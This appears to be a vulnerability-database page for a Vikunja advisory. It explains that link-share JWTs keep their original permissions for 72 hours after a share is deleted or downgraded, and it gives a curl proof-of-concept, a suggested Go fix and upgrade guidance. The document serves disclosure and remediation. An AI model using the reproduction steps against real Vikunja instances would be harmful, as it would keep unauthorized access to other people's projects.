CVE-2026-35594Medium· 6.5▾ SunlitVikunja: Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 21.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade
Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).
GetLinkShareFromClaims at pkg/models/link_sharing.go lines 88-119 performs zero database queries — it builds the LinkSharing struct purely from JWT claim values (id, hash, project_id, permission, sharedByID). This struct is passed directly to permission checks:
| Function | File | Lines | DB queries |
|---|---|---|---|
GetLinkShareFromClaims | link_sharing.go | 88-119 | 0 |
Project.CanRead (link share) | project_permissions.go | 105-108 | 0 |
Project.CanWrite (link share) | project_permissions.go | 50-53 | 0 |
Project.IsAdmin (link share) | project_permissions.go | 192-194 | 0 |
Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.
Permalink:
GetLinkShareFromClaims: pkg/models/link_sharing.go:88-119NewLinkShareJWTAuthtoken: pkg/modules/auth/auth.go:141-160pkg/models/project_permissions.go:50-53, 105-108, 192-194pkg/config/config.go:337-339# 1. Create an Admin-level link share on project 42
curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \
-H "Authorization: Bearer <owner-jwt>" \
-H "Content-Type: application/json" \
-d '{"permission": 2}'
# Response: {"id": 5, "hash": "abc123", ...}
# 2. Obtain link share JWT (72h TTL, no sid claim)
curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth"
# Response: {"token": "<link-share-jwt>"}
# 3. Delete the link share
curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \
-H "Authorization: Bearer <owner-jwt>"
# 200 OK — share row removed from database
# 4. Use the deleted share's JWT — STILL WORKS for up to 72 hours
curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \
-H "Authorization: Bearer <link-share-jwt>"
# 200 OK — full task list returned with Admin permissions
# 5. Permission downgrade variant:
# Delete Admin share → create Read-only share → old JWT still has Admin access
Add database validation in GetLinkShareFromClaims:
func GetLinkShareFromClaims(claims jwt.MapClaims) (share *LinkSharing, err error) {
id, is := claims["id"].(float64)
if !is {
return nil, &ErrLinkShareTokenInvalid{}
}
// Validate against database
s := db.NewSession()
defer s.Close()
share, err = GetLinkShareByID(s, int64(id))
if err != nil {
return nil, err // Share was deleted
}
// Verify permission not downgraded
claimedPermission := Permission(claims["permission"].(float64))
if share.Permission < claimedPermission {
return nil, &ErrLinkShareTokenInvalid{}
}
return share, nil
}
Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.
code.vikunja.io/api < 2.3.0Upgrade to a patched release:
code.vikunja.io/api 2.3.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-35596Medium· 4.3Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
CVE-2026-35597Medium· 5.9Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout
CVE-2026-34727High· 7.4Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path
CVE-2026-56765Critical· 9.1Vikunja: Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR
CVE-2026-54766MediumVikunja is an open-source self-hosted task management platform
CVE-2026-55064Medium· 4.3Vikunja is an open-source self-hosted task management platform